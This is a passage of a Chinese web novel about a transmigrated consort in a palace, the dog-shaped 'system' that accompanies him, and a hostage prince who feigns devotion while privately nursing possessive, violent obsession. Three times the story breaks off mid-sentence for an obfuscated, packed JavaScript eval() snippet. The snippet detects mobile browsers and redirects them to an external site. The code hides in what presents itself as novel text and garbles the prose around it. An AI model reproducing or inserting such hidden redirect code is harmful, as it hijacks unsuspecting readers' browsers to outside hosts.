而且他对容冽的“好”,归根究底是拿接容冽下课为借口趁机接近男主梁初景。 谁知话音后,容冽却起身垂首,神情肃然,如立誓似的郑重道:“阿翎哥哥的恩情,我永生不忘,他年若执牛耳,定当衔环结草以报,只希望哥哥也能常念故人,不要忘了……” 曲月翎下意识接:“冽儿。” 容冽:“……我。” 曲月翎又问:“你什么?” “……我该回去了。”容冽拎着曲月翎给他打包好的糖耳朵告别,“哥哥不用送了,快去歇息吧。” 话是这么说,家教很好的曲月翎还是把他送到了栖月宫门口,再目送少年走远。 系统坐在曲月翎脚边,望着容冽离去的背影,和他发出了同样的感慨:“唉……容冽要是男主该多好啊,这样你就可以挟恩图报,让他封你做男太后了。” 曲月翎无奈:“偏偏他不是。” “但我觉得容冽的身世背景和经历过往,不太像是书中寂寂无名的小配角啊。”说完他顿了顿,询问系统,“容冽会不会是男主的挚友,或者是男二这样的重要人物?” “有可能。”系统赞同道,“你多观察几天看看。” 曲月翎紧惕地问:“那你呢?你要闲着了?” 系统说:“……我要抓紧时间练后空翻。” 曲月翎这才放心,喝了御医给他开的调理中药,早早上床睡觉。 而藩客馆中,容冽的侍从齐影见主子拎回来一盒不爱吃的甜点,以为又是宫中哪位贵人随意赏的,即使不爱吃,也不得不要。 他熟练地走到容冽身旁,要接过那食盒按照惯例帮容冽“处理”了,容冽却抬手制住他。 “……主子?” 齐影不解,试探性地问:“您是要吃这盒糖耳朵吗?那属下帮您摆好?” “不。”容冽说,“我不爱吃这种东西。” 齐影越发不懂了:“那……” 容冽又把食盒给他,淡淡道:“赏你了。” “吃光。” “不要浪费。” 齐影心道:以往您丢给我们说“扔了”的那些糕点,我们其实也是私底下分了吃的,没人浪费粮食啊。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642458|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过既然今日容冽强调了这么一句,齐影当然是低头应“是”。 然而就在他恭敬地捧过食盒要退下时,容冽忽地又叫住了他:“等等。” 齐影顿步:“主子有何吩咐?” 容冽没有出声,他性情阴郁,喜怒猜测,平日里若不是为了应付卫祁的皇室官员,是一个笑脸都不会有,如果笑了,反而会更令人觉得毛骨悚然。 于是他不说话,齐影便屏住了呼吸,绷紧心弦看着少年走近,打开食盒,捏走一块糖耳朵,放进嘴里……咬了一口? 半晌后,容冽垂眸睨着指尖的褐色糕点,皱眉道:“……真是难吃。” “下去吧。” 齐影松了口气,遵令离开。 他不知道那块糖耳朵容冽最后是怎么处理的,不过次日容冽前往皇宫上课,他去收拾屋子时,却没在盛放废弃杂物的渣斗里瞧见被丢弃的糕点。 而容冽紧皱的眉头,从昨晚起到下午临近武课结束时,也没松开过。 因为三皇子梁初景不知道哪根筋搭错了,今日一直在烦他。 容冽和卫祁所有皇子都不熟,以前除了二皇子,没其他皇子会主动和他“聊天”,如今多了一个三皇子,即使三皇子对他的态度和二皇子截然相反,容冽却依然觉得厌烦。 尤其此刻曲月翎还不在场,容冽便连多余的目光都懒得给梁初景,像是聋了似的默不作声。 “老三,你和容冽费劲讲话干嘛?” 二皇子和容冽有旧仇,见梁初景今天一直围着他转,就忍不住嘴贱了,讥讽道:“他一个聋子,听得见你在狗叫什么吗?” “二皇兄,容殿下是邺国皇子,是卫祁的贵客。”梁初景寒声说,“请你慎言。” “贵客?” 二皇子“哈哈”两声,这会儿倒是不犯蠢了,一针见血道:“我就纳了闷了,容冽他来咱们卫祁也不是一天两天了吧?怎么以前没听过你说他是贵客呢?” 容冽对这两人的争执不闻不问,在一旁独自拉弓练箭,只在听见二皇子的质问时几不可见地扯了下唇角,露出个冷笑——他头一回觉得二皇子在说人话。 毕竟二皇子所言句句属实。 梁初景对他的示好他不是没有察觉,但为什么是最近才开始呢? 难不成梁初景从前是个瞎子吗? 结果二皇子在这时又问:“该不会是见最近宫里有人养了狗,你也想养一只吧?不过你来晚一步,我看容冽已经先成曲月翎的狗了。” 12.第 12 章 这话骂得不可谓不脏。 但这就是容冽的日常,甚至是两辈子的日常。 这一世,上一世,二皇子都如此长期欺凌辱骂他。 容冽大多数时候都默不作声,包括此刻,他被骂是曲月翎的狗,闻言也只是淡淡掀眸瞥了一眼二皇子,继而便收回目光,专注于靶心,将弓弦拉满,再倏然松指。 只听“飒——”的一声破风声响。 未几,殷红的靶心中央便多了一支尾羽微微晃动的利箭。 其准心力道,莫名让二皇子有种后颈发凉的古怪感,总觉得自己如果再敢多话,被射中的可能就是他的眼珠子了,于是讪讪地闭上了嘴巴。 然而上一世当缩头乌龟,对二皇子霸凌容冽行径置若罔闻的梁初景重生回来,再次亲眼目睹这一切,却忍受不了了。 平心而论,若是自己去了他国当质子,十几年间日日被这样霸凌,他也肯定会想要报复回去,如今梁初景既为自己曾经视若无睹的过往感到羞愧,又为二皇子的蛮横霸道而心生愤怒,当即便站出来骂道:“二皇兄,我看你才是真将书都念进狗肚子里去了,你此刻就不该跟我们在一起习武练箭,而该去照照镜子,瞧瞧自己像恶狗一样胡乱咬人的嘴脸有多令人作呕!” “老三,你他娘的疯了吧?”二皇子将手里的弓箭往地上一扔,迈步上前搡了一把梁初景的肩,“人家容冽都没吭声,就你搁这儿又唱又跳的?” “怎么着?你嫉妒容冽,也想当曲月翎的狗啊?”二皇子讥讽地笑着,“我看你确实比容冽适合做狗,毕竟曲月翎好像还挺喜欢你的,昨天眼巴巴候在崇文馆外给你送糖糕呢,生怕你不咬他丢的狗骨头……” “咣!” 梁初景不再和他废话,一拳痛击到二皇子脸上,将人捶得踉跄几步。 二皇子捂着脸满目的不可置信,完全不明白从前这个和容冽一样孤僻寡言的弟弟,如今怎么会有胆子敢对自己动手?于是等反应过来后,他便怒吼着还击回去。 梁初景刚做好防御的姿势,就感觉身体被人推了一把,本该砸向他的拳,最终落到了容冽脸上。 容冽被二皇子打得微微侧过面庞,颧骨上也多了一抹红,可能等到明日就会变得发青泛紫。 不过梁初景清楚地看见,容冽被打以后,唇角反而向上勾了勾,神情似笑非笑,黑瞳里邃深幽暗的眸光也叫人看不懂。 梁初景疑惑道:“容冽……你?” 容冽刚刚把他推开……是在帮他吗? 只是此刻的情况容不得梁初景多想,方才骂他疯了的二皇子,此时才是真的跟疯了一样,挥舞着拳头胡乱打向前方。 而这回容冽侧身撤开了,站在他一旁的梁初景没有防备,硬生生挨了身强体壮的二皇子三拳,才从被打蒙的眩晕感中回过神,开始抵抗还手。 ——两人打的不可开交。 容冽也“参战”了,会趁乱踢二皇子几脚,又会在二皇子准备打他时佯装无事发生过走远,经常跟在二皇子屁股后面的四、五皇子也想来劝架,却不幸被牵连误伤,也吃了自己两位好皇兄的拳头,到最后武师傅和侍卫们来把大伙儿分开时,几乎所有人的脸上都挂了彩。 二皇子气得怒目圆睁,面红耳赤。 三皇子梁初景胸膛起伏,呼.吸粗重。 四皇子捂着红肿的腮帮子一脸无语。 五皇子抱着鼓大包的脑袋嗷嗷痛哭。 只有容冽面无表情,和这几位皇子相比,有种置身事外的疏离感,再细看他的唇角,竟还能瞧见几丝惬意称心的浅淡笑意。 “老三,你给我等着吧!”二皇子恶狠狠撂下狠话,“我一定会将此事告诉我母妃!” 梁初景皮笑肉不笑,阴阳怪气回他:“静候佳音。” 二皇子怒气冲冲走了,四、五两位皇子也跟在他屁股后离开,校场里,就只剩下容冽和梁初景了。 虽然今天挨了好一顿毒打,但梁初景觉得自己不是浑然没有收获,古语有言:不打不相识。 他认为今天自己和容冽一起殴打了二皇兄,也算有份特别的情谊在,便笑着朝他抱拳感谢道:“容殿下,今日多谢你助我。” 容冽听完乜他一眼,没有说话。 梁初景又说:“今日的事全因我而起,父皇那边有我去说,不会连累你的。” 容冽仍是不说话,这次甚至连一个眼神都懒得给他了。 梁初景尬在原地,无措片刻,正准备跟容冽道声别也离开时,忽然灵敏地发现,少年脸上那种阴郁冷峻的神情,自始至终没有过太大变化,可垂在身侧的手却渐渐攥紧了。 回想起昨日在湖畔时,容冽和曲月翎那和睦融洽的相处情况,梁初景试探性地问了句:“容殿下,你是……在等越妃吗?” 在“越妃”两个字话音落下的刹那,容冽便倏地侧眸,点漆般的一双黑瞳沉沉睨向梁初景。 这双眼睛瞳色太过凄寒阴恻,与其对视的一瞬,梁初景心脏猛地停了一拍,可眼睛的主人望着他,嘴角却勾起一抹笑,平静地承认道:“是啊,三殿下也在等阿翎哥哥吗?” “不是,我没有在等人。”梁初景摇头,“不过都下课这么久了,越妃他今日应该不会再来了吧?” 他似乎听见容冽几不可闻地低“呵”一声,可没细听清楚,少年又问:“哦,你怎么知道?” “越妃对我父皇情根深种,故对我也爱屋及乌,近来一直很关心我的饮食起居,应当是想通过我接近我父皇。昨天他来给我送糖糕,就是这个原因。”梁初景把自己对曲月翎了解的有关事情悉数道出,“所以他今日要是想来,肯定早就来了,何至于等到现在?” 容冽:“哦。” 少年听完,拾级而下,仅给梁初景留下一个冷漠离去的背影。 梁初景的宫殿和藩客馆不在一个方向,也不好追上去与他同行,只能朝另一个方向离开。 容冽脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647016|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴沉,眸光晦暗,行走的步伐越来越快,垂在身侧的拳头也越攥越紧,连指尖都陷进了掌心的肉里,掐出一道道月牙状的血痕。 一股比被人羞辱、咒骂、殴打的滔天恨意正在容冽胸腔里翻涌着,它们张牙舞爪扯拽着容冽的肋骨,随着心脏一阵阵燃起更高的怒焰,亟待撕开他的血肉刺破云霄。 因为容冽就是这样一个偏激固执,阴鹜自私的混账。 有人欺他辱他,他未来必将十倍奉还;有人最初待他很好,到了后来又对他弃之如遗,那他同样不会铭记那人对自己曾经有过的恩情,只会像那养不熟的狗畜生似的,狠狠撕咬回去,咬得那人皮开肉绽,鲜血淋漓,让那人记住教训,再也不敢抛弃遗忘他。 而此时此刻,容冽就很想这样残忍地对待一个人。 那人有着宛如雀翎流翠的剔透碧眸,生着恍若釉面瓷像的菩萨面容,总是温声细语地与他说话,又恶劣薄情地常忘记他。 明明昨天才答应过,不会忘了他的…… 或许在他们初见的那一日,在他仰起头,被青年牵住手的那一刻,他该做的,不是故意拽青年一把,看着青年如同被他拽落瑶台,落入凡尘的仙君那般惊惶慌乱,而是该死死咬青年一口,咬得他潸然楚楚,满脸是泪。 这样的话,就算曲月翎忘了他,只要再看见那个牙印,也一定会记起自己。 容冽眼珠猩红,额角青筋浮凸,咬紧牙关,一声声在心中默念那人的名字—— 哥哥、阿翎哥哥…… 曲月翎、曲月翎、曲月翎…… 突然,另一道不属于容冽的声音也提到了这个名字—— “顾太医,翎公子他这病,要多久才能好啊?” 容冽抬起头,看见曲月翎的宫人正在送太医离开,原来他不知不觉间,已经走到了栖月宫门口,再往前直走,他就可以回到自己藩客馆了。 可容冽停下了脚步,还调动内力,用超绝常人的敏锐耳力,凝神窃听宫人和太医的谈话。 听了一会儿,他才知晓,原来曲月翎生病了,今日不是故意不来接他的。 曲月翎今早发了高烧,宫人却没察觉,还以为他和以往一样,是在睡懒觉呢。 直到午时,他养的那条小黑细犬发现不对,见曲月翎怎么都不醒,就狂吠着引来了宫人,又咬着宫人的裤脚将他拽到床榻旁,宫人这才惊觉曲月翎都烧晕过去了,匆匆去请了御医来给青年诊脉。 容冽松开拳头,紧皱的眉头也顷刻舒展,不过紧跟着又重新蹙起,他做出一副忧心至极的表情,跑到曲月翎的宫人面前,叠声询问他的阿翎哥哥生了什么病? 曲月翎得了急性咽炎。 因为他昨天吃了太多糖耳朵,吃到上火,喉咙发炎,早上更是发起了高烧,现在人刚烧醒,面颊还泛着一层病态的红,神态却蔫蔫的。 “要命了……” 他掐着自己的脖颈艰难出声:“狗宝,我的嗓子……” 13.第 13 章 “来了来了——” 系统听到曲月翎的呼唤,小跑着奔到床边,又直起上半身,将前足搭到榻上,询问曲月翎:“宿主,你现在感觉怎么样了?” 曲月翎又虚弱地咳了两声:“我现在感觉我因为嘴贱遭到惩罚,吞了一千根银针……” “你不只是嘴贱,你还嘴馋。”系统告诉他,“你吞了一千个糖耳朵。” 曲月翎:“……” 曲月翎辩解:“这简直就是危言耸听,我最多就吃了三十个……你不要胡说!” 系统说:“三十个也已经快到致死量了。” 急性咽炎所引起的高烧、咽痛等症状,本来就会增加心律失常的风险,严重的话,甚至还可能损伤心肌细或直接引发心肌炎,在这药物缺乏且没有手术抢救条件的古代,如果曲月翎没有“顶级牛马”的头衔庇佑,那他一旦心脏病发作,就可以安心等死了。 “啊……我的嗓子……”曲月翎自知理亏,不敢再和系统犟嘴了,继续唉声叹气,“怕是再也不能做歌唱家了……” 系统:“?” 系统:“不是?大哥,你……” “阿翎哥哥——” 一道同样在喊“哥哥”的声音压过了系统的狗叫。 而曲月翎的宫人们当初拦不住丽妃,现在同样也拦不住容冽,他踏着听上去凌乱又急切的脚步声冲进寝殿里,屈膝半跪,矮下身体,以一个跟系统颇为相似地姿势伏在曲月翎床沿边上,双目血红,哑声轻喃:“阿翎哥哥……” 曲月翎被他吓了一跳,系统也被他挤得往旁边挪了好几步,被迫让出位置。 但很快,曲月翎就注意到容冽颧骨上多了一抹新伤,少年的眼睛更是红到连眼白上都泛起了血丝,像是不久前才很可怜地大哭过一场。 曲月翎先摆手让宫人们退下,再缓缓朝容冽伸手:“……冽儿,你的脸?” 仿佛没预料到病中的青年开口第一句话竟是关心自己,容冽怔了一瞬,直到曲月翎因高热而过分发烫的指腹,以一种不会弄疼他的力道,触碰到他的淤伤时,容冽才回过神来。 “是不是二皇子又打你了?!”曲月翎刚才受到那股惊吓,此刻已经变成了愤怒,被气得一边咳嗽一边骂,“这狗东西……你等着,等我病好了就去收拾他咳咳……” 咳得实在厉害,曲月翎有点上不来气了,他张开双唇急促地喘息着,刚想抬手给自己顺顺气,另一只手就先他一步抚他的胸膛,从上往下轻柔地摩挲着。 “没关系的,哥哥……我、我都习惯了。”容冽垂下眼睫,如同不愿提及伤心事,也不愿给曲月翎招惹麻烦般低语道,“生气伤身,阿翎哥哥本来就病得很重,不要再为我忧心了。” “这种事情怎么能习惯呢?!” 结果青年听后,情绪反而更激动了,甚至激烈得有些不正常,他用手肘撑着床榻支起身体,即使喉咙的肿痛和高烧让他说话痛苦,他也还是提高了音量,竭力发声。 而容冽望着他为自己失态、为自己忍耐疼痛、那十足十在乎自己的模样,心脏也剧烈地狂跳起来,满意餍足到身体都在发颤,需要极力控制面部,才能确保不会扬起嘴角,只装出懵懂又惊愕的表情问:“……哥哥?” 曲月翎却把容冽的舒颤,当做了不敢反抗二皇子的恐惧、怯懦和害怕。 “没关系……这不是你的错。”他喘了两下,积蓄了点力气后,便抬臂按住少年的肩,轻声安慰道,“恶人还需恶人磨,哥哥会帮你报仇的。” “阿翎哥哥对我真好……” 容冽听着,再也压抑不住笑意,倾身扑进青年怀中,将脸埋入曲月翎单薄孱弱的颈窝里,借由青年垂落的墨发敛去自己扭曲病态的笑容。 这具仍在病中的身体弱不胜衣,其实根本庇佑不了任何人,可此刻正不断散发着融融的热意,熨烫得容冽连指尖都在颤抖。 他抱着曲月翎的腰肢,每根手指都宛如需要侵入寄主,附生在一棵树上才能活下去的金丝藤,死死攥紧青年衣裳,像是某种残忍的绞杀行径,但他仍嫌曲月翎给予自己“存活”的养分不够充足。 容冽在发影里嘴角噙笑,却用委屈的语气说:“我今天在校场外等了好久,也不见哥哥来接我,还以为哥哥不小心把我忘了……” “怎么会呢?”曲月翎拍拍他的背。 心想:忘记做什么事都不可能会忘记去接你,毕竟我还得靠接你时,趁机到三皇子眼前刷刷存在感和好感度呢。 ——他们都不知道对方心中的千转百绕。 一个误以为对方真是一个长期被霸凌的可怜孩子,另一个则误以为对方是真心在意自己。 于是容冽认为自己可以把脸抬起来了,仿佛哭闹过后得到了被哄的糖糕,笑着对曲月翎说:“是啊,我就知道哥哥不会忘了我的,因为哥哥答应过我。” “我一直在等哥哥,哥哥却没来,我就哥哥可能是出了什么事,所以我立刻来看哥哥了。” “我是如此牵挂担忧阿翎哥哥,不像三殿下……” 容冽短短三句话,喊了七声“哥哥”,曲月翎脑子本就烧得晕晕乎乎,这下更是被他喊得感觉脑袋里都有“哥哥”的回音了,听到“三殿下”这个关键词时才清醒一些,马上带病上班,打听道:“三殿下他怎么了?” “三殿下前些日子生病了,哥哥很关心他病体是否已愈,昨天还特地给他送了糖糕,对他是这般好,可他竟说……”容冽说到这就不说了,欲言又止,一副生怕说了实话曲月翎就会伤心的模样。 但这种说话说一半的情况,最吊人胃口,曲月翎很急地又追问:“他说什么了?” 容冽继续欲言又止:“……没什么。” “冽儿,你放心说吧。”曲月翎更急了,“我受得住。” 随后少年似乎被他逼得无可奈何,终于实话实话了:“其实也没说什么,大概就是一些哥哥对他好是因为爱屋及乌,实际是想通过接近他,去接近陛下之类的无稽之谈。” 曲月翎破口而出:“鬼扯,我对他好怎么会是爱屋及 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一直凝视着他眼睛的容冽,的确没从那双宛如雀翎的绿眸里找到一丝一缕伤心或落寞的神色,这只有两种理由能够解释——要么曲月翎压根不在乎三皇子,所以也不在乎他说了自己的坏话;要么他太过在乎三皇子,所以可以原谅他说了自己的坏话。 虽然容冽很希望曲月翎对三皇子的态度是前者,但他清楚,事实一定是后者。 因为昨天,青年在崇文馆外的第一句话是对梁初景说的,不是对他。 曲月翎甚至没有看他一眼,就走向了梁初景。 离开了青年散出着浅淡药香的温暖怀抱后,容冽就感觉自己浑身发冷,现在回想起昨天被青年忽略的情形,容冽更是恨不得咬破曲月翎的脖颈,想让青年流出温热的血液浸透自己,驱散那些犹如附骨之疽的寒意。 曲月翎…… 曲月翎……为什么要看别人?为什么不看我? 曲月翎……好想弄死他…… 容冽垂着头,咬紧后槽牙,一遍遍咀嚼青年的名字,眼眶附近因青年不看自己,去看其他无关紧要的人而燃起的强烈嫉妒与愤恨,又渐渐染上赤红。 这时,他忽然听到床上的青年轻声唤他:“冽儿……” “哥哥怎么了?”容冽立即抬起头回他话,还伸手给曲月翎掖了掖被角,又问,“哥哥是想喝水吗?” “我去给哥哥倒。” 曲月翎还一句话都来不及说,容冽就已经跑远,片刻后捧着一杯温度适宜,能直接入口的温水过来,小心搀扶着他的后背,将他稳稳托起,并体贴地嘱咐:“哥哥慢点喝。” “……” 其实曲月翎刚刚开口,不是想让容冽给自己倒水喝,不过倒都倒了,而且他也确实很渴,曲月翎就先把水喝完了,再开口:“冽儿……” “哥哥的额头怎么还这样烫?”容冽扶着他躺下,重新给他掖紧被角,摸摸他额头又跑开,去水盆旁拧了个新的冰帕子过来,放到曲月翎额头上。 最后像刚进屋时那样,伏在床沿,黑眸静静望着曲月翎,乖驯懂事的微笑道:“哥哥一定要快点好起来。” 14.第 14 章 孝,实在是太孝了。 系统窝在床脚,也目睹了这一切。 它忍不住狗叫两声,说出曲月翎的心里话:“容冽这么孝,为什么不是男主啊?” 有容冽在场,曲月翎不好和系统说话,只能在心里默默回答:因为他善。 ——容冽这么善良乖巧听话的好孩子,怎么可能是男主呢? 毕竟这年头太过正常的人都做不了男主,必须要有点疯病在身上才够带劲,才有资格做男主。 于是在容冽又一次要去给他换降温的冰帕时,曲月翎握住了他的手腕,感动道:“冽儿,这些事会有宫人们做,天色已晚,你该回去了。” “是我没有照顾好哥哥吗?”结果容冽反手攥了曲月翎的指尖,低垂的眉角眼梢间,透出明显的难过意味,“我以前从没这样照顾过别人……但是我会为了哥哥学,哥哥不要赶我走好不好?” 曲月翎赶紧安慰他:“不不不,冽儿你很好,你太好了,我做梦都希望能有一个像你这样好的儿子。” “……” 少年的脊背微僵。 曲月翎没有察觉自己这样话听上去有些像在骂人,继续说:“只是再晚些,宫门下钥后,你就没法回藩客馆了。” “那我就彻夜不眠,留在这里照顾哥哥。”容冽从善如流道,“哥哥的病一直不好,我就算回去,也会担心得睡不着。” 曲月翎更感动了,但容冽才十三岁,要他彻夜照顾自己跟要系统通宵练后空翻有什么区别?都是奴役童工啊。 “你的孝心哥哥已经收到了,不过这里有宫人照顾我,冽儿还是回去吧。”曲月翎摸摸他的脸,“你的脸上还有伤,回去记得上药。” 青年的指腹柔软,和他的身体一样,都散发着浅淡的药香,隐约还有一些苦涩的味道,但容冽极度贪婪这股气息,他喜欢听曲月翎关心自己,便将面庞更重地压向青年,蹭着青年温热的掌心,说:“可我来时,那些宫人竟一个都没在哥哥屋子里,他们竟敢如此怠慢你……我不放心将哥哥交给他们照顾。” 其实是曲月翎把宫人们支出去的,因为他准备和系统密谋点事情,谁知还没开始密谋呢,容冽就跑进来了。 “……是我让他们出去的。”曲月翎随便编了个借口,“我休息时,不喜欢有外人在屋子里,我会睡不好。” 谁知话音刚落,容冽的眼珠上的红血丝似乎就变多了,好像在伤心,目光幽深,紧紧盯着曲月翎问:“我对哥哥来说……也是外人吗?” “这……” 这回曲月翎想不出借口了。 幸好此时宫人们来禀,说皇帝梁怀徽一会儿要来看曲月翎。 容冽闻言,沉默片霎,忽地笑了,说:“那我就不打扰哥哥和陛下了。” 曲月翎听着他说话,不知道是不是自己的错觉,总觉得容冽的声音有点低沉,脸色也有些晦暗阴沉的,可少年处于变声期的嗓音本就嘶哑,而且唇边还有笑容呢,所以应该是他的错觉吧? “哥哥病好之前,就不必再来接我了,反正二皇子总不至于将我打死。” 容冽最后一次给曲月翎掖了掖被角,掖好后,他也没急着离开,反而就着俯身的姿势,深深垂睨曲月翎翠羽般的眼珠,仿佛对在曲月翎说话般道:“我若死了,也一定会化作厉鬼纠缠在他身侧,使他永无宁日,生不如死。” 少年说话间,乌黑的墨发也随俯身向下垂落,宛如凝成实质的怨气,萦绕在曲月翎身畔。 曲月翎愣了愣,认真思索后,却不解地问:“二皇子他既然不会打死你,那你又怎么会死呢?” 容冽:“……” “还有,冽儿,这世上是没有鬼的。”实践出真知,曲月翎认为自己死了都没变鬼,那世上肯定没鬼,于是他告诉容冽,“迷信思想要不得,你不要信这些,有仇就趁还活着时报。” 容冽:“……” “……哥哥,我回去了。”容冽松开捏住被角手指,起身退开,“我明天再来看哥哥。” 可大概是容冽这次给他盖被子盖的位置有点太靠上了,以至于曲月翎有一种被掐住了脖颈的感觉,他心想自己果然是病糊涂了,幻觉一阵接一阵的。 容冽走后,曲月翎连忙趁屋里没人时交代系统:“狗宝,你别在我这里守着了,快去外面偷听下今天都发生了什么,容冽为什么会被二皇子打?还有三皇子那边有没有出什么事?” “没问题。”系统用前肢给曲月翎敬了个礼,“不过你一个人能行吗?” 曲月翎提醒他:“顶级牛马是不会死的。” “抱歉,长官,刚刚没认出您。” 系统敬佩不已,又对曲月翎敬了个礼后就出门了。 而系统离开没多久,皇帝梁怀徽便来了,他满脸忧虑之色,人未到,声先至:“月翎啊……朕的爱妃啊……你还好吗?” 曲月翎听着他对自己称呼,恨不得马上晕死过去。 但是坦白讲,梁怀徽作为出了名的风流浪子,却能像个专一情圣似的,引得那么多女人对他情根深种,倾心相许,和他多情又深情的性格分不开关系。 甚至在某些方面,梁怀徽还能称得上一句“负责”——譬如他对曲月翎这个男妃的态度。 梁怀徽不爱他,甚至是恐惧男子之间的断袖情谊,可他对着曲月珠的遗书立了誓,要一生善待曲月翎,他就真的会这么做。 他对曲月翎很好,了解小宛那边的人嗜爱在身上佩戴各种珠玉金饰,就将无数宝珠美玉流水般往栖月宫送,让曲月翎能每天把自己打扮得像只小孔雀一样漂亮; 怕“深爱”自己的曲月翎知晓自己不爱他而难过伤心,就强忍反感和厌恶的情绪,也装出一片深情去对待曲月翎; 听闻曲月翎生病了,他也一定会尽快赶来探病,并重新召来太医,要太医当着自己的面再给曲月翎把一次脉确定病情。 ——一个皇帝,一个拥有后宫佳丽三千的一国之君,对你如此上心,又给钱又给情绪价值,除非你犯了杀人等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658194|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可饶恕的大罪,否则他都会高举轻放,且持之以恒,岁岁年年不改,大部分人是很难不动心的。 偏偏他对所有人都这样好。 他待你是真心实意,待别人也是。 梁怀徽站在床边,亲眼看着宫人们煎好药,服侍着曲月翎喝完后,才终于肯坐下。 “你入宫才一个月,就病了那么多回。”他抬手擦擦眼角的泪花,红着眼睛心疼道,“真不知道今晚若是在梦中与你姐姐相会了,朕该如何向她交代啊。” 曲月翎:“……” “姐姐深爱着陛下。”曲月翎按照原身人设,没有感情地念出经典台词,“她不会怪您的。” “你姐姐是天下最好的女子,是小宛最美的女郎,她那样善良、体贴、贤惠……朕当然知道她不会怪朕。”梁怀徽又哽咽两声,“可朕会怪朕自己啊……” 曲月翎:“…………” 曲月翎一直认为自己口才不错,然而面对梁怀徽时,他却绝望地发现自己的语言和词库是如此匮乏,一句话都接不上来。 那边梁怀徽也遵循着“卫祁第一深情”的人设哭了一会,终于哭够后,他便吸吸鼻子,又深吸一口气:“都是朕的错,是朕没有照顾好你,是朕对不起你和你姐姐。” “月翎啊……” 梁怀徽念着曲月翎的名字,又下意识想去牵床上之人的手,结果抬高到一半时想起床上之人是男子,便蓦地僵住,待发现曲月翎两只手都在被子里盖得严严实实时,他又转为拍拍自己的胸膛松了口气,最后再咬咬牙,狠心道:“今晚,朕一定留在这里陪你!” “咳、咳咳……咳咳!” 曲月翎瞬间咳得撕心裂肺。 梁怀徽也被他吓得慌乱无措,想给青年拍拍胸口顺气,却无处下手。 “陛下、我怕把病气过了给您……”曲月翎陪他演这死出都已经演腻了,却还是不得不硬着头皮演下去,麻木出声,“您今夜还是去其他姐姐宫里吧。” “可你都病成这样了,朕怎么还能离开你呢?”梁怀徽一脸为难,“不过……今日还真有件事,朕需要好好斟酌下该怎么办。” “什么事?”曲月翎想起了容冽被打青的脸,“陛下能和我说说吗?” “也不是什么大事,没什么不能说的。”梁怀徽继续深情款款,“你想知道,朕全都可以告诉你。” 曲月翎:“……您请说。” 梁怀徽便道:“今日皇子们在校场内打了一架,我仔细问过了,是老二初锋和老三初景吵架,吵着吵着,老二那孩子就动了手,容冽为了护着初景受了伤,老四初恒和老五初睿去劝架,也不小心被打了,现在初锋正在他母妃那闹,要朕给他做主呢。” 曲月翎一听就马上拿出了“大事化了,小事化无”的原则,站在对三皇子梁初景有利的那边劝说道:“小孩子们有口角,打打闹闹是常有的事,这有什么的呢?” 梁怀徽闻言欣慰道:“月翎和朕心有灵犀啊,朕也是这么想的。” 15.第 15 章 老登撩人都快撩成本能了,不着四六的情话张口就来,听得曲月翎猝不及防,差点控制不住表情。 幸好他正在病中,脸上浮现痛苦扭曲的神情,梁怀徽只会以为他是病的难受,而且曲月翎马上就转移走了他的注意力,问他:“……那陛下打算?” “朕打算让武师傅给他们多加些武课。”梁怀徽挑眉,“不是喜欢打吗?朕就让他们打个够。” 说完,他却又叹了口气:“老二都十五了,性格却还是这般冲动,没半点兄长该有的样子,倒是初景……他小时候讷言少语,没想到长大后,倒是稳重懂事了很多。” 据梁怀徽所说,下午皇子们在校场内打架的事情发生后,梁初景就主动求见了他认错,说自己不敬兄长,愿意领罚。 而梁怀徽先从梁初景口中听了一遍事情经过,再叫来校场里负责授课的武师傅和侍卫们仔细询问,没听任何人的一面之词,最终他认为今天这档子事,还是二皇子有错在先,他绝对不可能为此惩罚梁初景。 但二皇子在虞贵妃那闹腾的厉害,虞贵妃就来找了梁怀徽,她倒不是来逼梁怀徽去惩罚三皇子的,而是想让梁怀徽去她宫里。 可梁怀徽若是真去了,那往后二皇子和虞贵妃在皇宫里的气焰就要更嚣张了,刚好听闻曲月翎又病了,他便来了曲月翎这儿探病,顺带准备在这儿躲清静。 然而梁怀徽一个崆峒的人,在这栖月宫真能得到清静吗? 曲月翎觉得不能。 别说梁怀徽得不到清静了,他待在这里,曲月翎感觉自己也会休息不好,还不如让容冽留在这陪他呢,起码容冽很孝,而梁怀徽是招笑。 曲月翎想把梁怀徽弄走。 想了一会儿,他想到了一个人——五皇子梁初睿的生母,丽妃。 “陛下今晚要不去看看丽妃姐姐吧?”曲月翎给梁怀徽出主意,“五殿下今天无辜受伤,她一定很心疼,而且她被禁足那么久了,不能外出,也一定很想念陛下。” 梁怀徽眼睛一亮,表情如同征求曲月翎同意般,期待道:“……那朕就?” 